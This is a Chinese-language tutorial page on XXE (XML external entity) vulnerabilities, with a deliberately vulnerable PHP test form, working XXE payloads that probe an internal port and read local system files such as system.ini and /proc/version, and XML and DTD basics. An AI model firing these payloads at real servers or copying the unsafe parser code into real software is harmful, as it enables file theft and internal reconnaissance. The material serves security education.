XXE:XML外部实体引入
XXE漏洞
如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞
漏洞利用流程
1.客户端发送xml文件,其中dtd存在恶意的外部实体引用
2.服务器进行解析
3.服务器返回实体引用内容
危害:任意文件读取,系统命令执行
实例
靶场代码[可替换为pikachu靶场]
<head><meta charset=utf-8><title>xxe测试</title>
</head>
<body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form>
</body><?phpdate_default_timezone_set("PRC");if(!empty($_POST['sub'])){ $data= $_POST['data'];$xml = simplexml_load_string($data);print($xml); }
?>
页面效果

1.使用xxe获取服务器端口信息
paylod
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">]><BookInfo>
&xxe;
</BookInfo>
运行逻辑
- 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
- 然后,解析器会尝试解析
xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。 - 如果端口开启,会正常响应,如果关闭页面加载异常
2.任意文件读取
paylod
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "file:///c://windows//system.ini">]><BookInfo>
&xxe;
</BookInfo>
在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。
windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础
XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强
用途:存储配置文件,数据交换
XML格式要求
基础XML内容
<?xml version="1.0" encoding="UTF-8"?>
<BookInfo><Book><Title>书名</Title><Author>张三</Author><Publisher>出版社</Publisher><PublicationYear>2024</PublicationYear><ISBN>6226097558881666</ISBN><Genre>类型</Genre><Price>1000</Price><Description>书籍简介</Description></Book><Seller><Id>6222083803003983</Id><Name>李四</Name></Seller>
</BookInfo>
文档构成
文档第一行为xml声明文件描述xml版本及编码信息
<?xml version="1.0" encoding="UTF-8"?>
文档根元素为 <BookInfo> 闭合标签为 </BookInfo>
文档根元素下具有 <Book> 和 <Seller> 子元素
其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名
这些元素构建成了·xml文档对信息进行描述和传递
XML文档规范
当xml文件内容过多时,为防止内容混乱
引入了DTD(文档类型描述)用于声明文档结构
DTD定义了文档结构及元素的规则
DTD构成
DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则
<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>
1. 文件类型声明 : !DOCTYPE
关键字DOCTYPE 表明此文件根元素为BookInfo
2. [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。
3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>
关键字ELEMENT 定义元素下有哪些子元素
DTD实体的定义
实体 相当于提前定义的全局变量的值,可在文档中进行引用
实体的定义
关键字:ENTITY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
内部实体的引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>
页面效果

外部实体文件及引用
外部实体文件
<!ENTITY name "xiaoming">
文件引用
DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd" >]><BookInfo>
<name>&name;</name>
</BookInfo>
完整的xml文档内容
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?><!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL"><!-- 第三部分:文档元素 -->
<note><to>Dave</to><from>GiGi</from><head>Reminder</head><body>fish together</body>
</note>
相关文章:
XXE:XML外部实体引入
XXE漏洞 如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞 漏洞利用流程 1.客户端发送xml文件,其中dtd存在恶意的外部实体引用 2.服务器进行解析 3.服务器返回实体引用内容 危害:任意文件读…...
3D培训大师创新培训体验,加速空调关键组件的高效精准安装
如今,空调系统的复杂性和精密性与日俱增,对专业技术人员的要求也日益提高。尤其是决定空调是否能平稳运行的空调关键组件的装配培训,不再局限于传统的理论讲解和实体模型演示,而是更注重数字化、沉浸式学习。 案例背景 某空调公…...
PyTorch 深度学习实践-循环神经网络(高级篇)
视频指路 参考博客笔记 参考笔记二 文章目录 上课笔记总代码练习 上课笔记 个人能力有限,重看几遍吧,第一遍基本看不懂 名字的每个字母都是一个特征x1,x2,x3…,一个名字是一个序列 rnn用GRU 用ASCII表作为词典,长度为128&#x…...
这才是老板喜欢的电子信息类简历
点击可直接使用...
MySQL学习之事务,锁机制
事务 什么是事务? 事务就是逻辑上的一组操作,要么全做,要么全不做 事务经典例子:转账,转账需要两个操作,从一个人账户上减钱,在另一个账户上加钱,比如说小红给小明转账100元&…...
开源知识付费小程序源码 内容付费系统php源码 含完整图文部署教程
在当今数字化时代,知识付费作为一种新型的经济模式,正逐渐受到越来越多内容创作者、专家及商家的青睐。开源知识付费小程序源码和内容付费系统PHP源码作为实现这一模式的重要工具,为构建高效、安全、可扩展的知识付费平台提供了强大的技术支持…...
时序数据库如何选型?详细指标总结!
工业物联网场景,如何判断什么才是好的时序数据库? 工业物联网将机器设备、控制系统与信息系统、业务过程连接起来,利用海量数据进行分析决策,是智能制造的基础设施,并影响整个工业价值链。工业物联网机器设备感知形成了…...
【前端】JavaScript入门及实战51-55
文章目录 51 函数52 函数的参数53 返回值54 练习55 return 51 函数 <!DOCTYPE html> <html> <head> <title></title> <meta charset "utf-8"> <script type"text/javascript">/* 函数:1. 函数也是…...
【引领未来智造新纪元:量化机器人的革命性应用】
在日新月异的科技浪潮中,量化机器人正以其超凡的智慧与精准的操作,悄然改变着各行各业的生产面貌,成为推动产业升级、提升竞争力的关键力量。今天,让我们一同探索量化机器人在不同领域的广泛应用价值,见证它如何以科技…...
山东航空小程序查询
山东航空小程序 1) 请求地址 https://scxcx.sda.cn/mohe/proxy?url/trp/ticket/search 2) 调用方式:HTTP post 3) 接口描述: 接口描述详情 4) 请求参数: {"dep": "TAO","arr": "HRB","flightDate&qu…...
MySQL添加索引时会锁表吗?
目录 简介Online DDL概念Online DDL用法总结 简介 在MySQL5.5以及之前的版本,通常更改数据表结构操作(DDL)会阻塞对表数据的增删改操作(DML)。 MySQL5.6提供Online DDL之后可支持DDL与DML操作同时执行,降低…...
算法日记day 16(二叉树的广度优先遍历|反转、对称二叉树)
一、二叉树的层序遍历 题目: 给你二叉树的根节点 root ,返回其节点值的 层序遍历 。 (即逐层地,从左到右访问所有节点)。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:[[3]…...
PolarisMesh源码系列--Polaris-Go注册发现流程
导语 北极星是腾讯开源的一款服务治理平台,用来解决分布式和微服务架构中的服务管理、流量管理、配置管理、故障容错和可观测性问题。在分布式和微服务架构的治理领域,目前国内比较流行的还包括 Spring Cloud,Apache Dubbo 等。在 Kubernete…...
vue3 vxe-grid修改currentPage,查询数据的时候,从第一页开始查询
1、当我们设置好VxeGrid.Options进行数据查询的时候,下面是可能的设置: const gridOptions reactive<BasicTableProps>({id: UserTable,showHeaderOverflow: false,showOverflow: true,keepSource: true,columns: userColumns,size: small,pagerConfig: {cur…...
电商数据集成之电商商品信息采集系统架构设计||电商API接口
一、引言 本架构设计文档旨在阐述基于 Selenium 的电商商品信息采集系统的整体架构,包括系统视图、逻辑视图、物理视图、开发视图和进程视图,并提供一个简单的采集电商商品信息的 demo。该系统通过模拟浏览器行为,实现对电商商品信息的自…...
Spring Cloud Stream 实现统一消息通信平台
1. 概述 Spring Cloud Stream:是Spring提供的消息通信框架,旨在构建跨不同消息中间件的统一通信平台。目的:通过消息通信机制降低分布式系统中服务间的耦合度,实现异步服务交互。 2. 消息通信与RPC RPC:远程过程调用…...
uniapp安卓plus原生选择系统文件
uniapp安卓plus原生选择系统文件 效果: 组件代码: <template xlang"wxml" minapp"mpvue"><view></view> </template> <script>export default {name: file-manager,props: {},data() {return {is…...
Go语言 Import导入
本文主要介绍Go语言import导入使用时注意事项和功能实现示例。 目录 Import 创建功能文件夹 加法 减法 主函数 优化导入的包名 .引入方法 总结 Import 创建功能文件夹 做一个计算器来演示,首先创建test文件夹。 加法 在test文件夹中创建add文件夹ÿ…...
一款异次元小清新风格的响应式wordpress个人博客主题
一款异次元小清新风格的响应式个人博客主题。这是一款专注于用户阅读体验的响应式 WordPress 主题,整体布局简洁大方,针对资源加载进行了优化。 Kratos主题基于Bootstrap和Font Awesome的WordPress一个干净,简单且响应迅速的博客主题&#x…...
【cocos creator】ts中export的模块管理
在 TypeScript(TS)中,export 和 import 的概念与 Java 中的 public 类、接口以及 import 语句有一些相似之处。可以用以下方式来类比理解: Export 在 TypeScript 中,export 用于将模块中的变量、函数、类等暴露给外部…...
Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...
技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
一、方案背景 在现代生产与生活场景中,如工厂高危作业区、医院手术室、公共场景等,人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式,存在效率低、覆盖面不足、判断主观性强等问题,难以满足对人员打手机行为精…...
聚六亚甲基单胍盐酸盐市场深度解析:现状、挑战与机遇
根据 QYResearch 发布的市场报告显示,全球市场规模预计在 2031 年达到 9848 万美元,2025 - 2031 年期间年复合增长率(CAGR)为 3.7%。在竞争格局上,市场集中度较高,2024 年全球前十强厂商占据约 74.0% 的市场…...
电脑桌面太单调,用Python写一个桌面小宠物应用。
下面是一个使用Python创建的简单桌面小宠物应用。这个小宠物会在桌面上游荡,可以响应鼠标点击,并且有简单的动画效果。 import tkinter as tk import random import time from PIL import Image, ImageTk import os import sysclass DesktopPet:def __i…...
数据分析六部曲?
引言 上一章我们说到了数据分析六部曲,何谓六部曲呢? 其实啊,数据分析没那么难,只要掌握了下面这六个步骤,也就是数据分析六部曲,就算你是个啥都不懂的小白,也能慢慢上手做数据分析啦。 第一…...
2.2.2 ASPICE的需求分析
ASPICE的需求分析是汽车软件开发过程中至关重要的一环,它涉及到对需求进行详细分析、验证和确认,以确保软件产品能够满足客户和用户的需求。在ASPICE中,需求分析的关键步骤包括: 需求细化:将从需求收集阶段获得的高层需…...
大数据驱动企业决策智能化的路径与实践
📝个人主页🌹:慌ZHANG-CSDN博客 🌹🌹期待您的关注 🌹🌹 一、引言:数据驱动的企业竞争力重构 在这个瞬息万变的商业时代,“快者胜”的竞争逻辑愈发明显。企业如何在复杂环…...
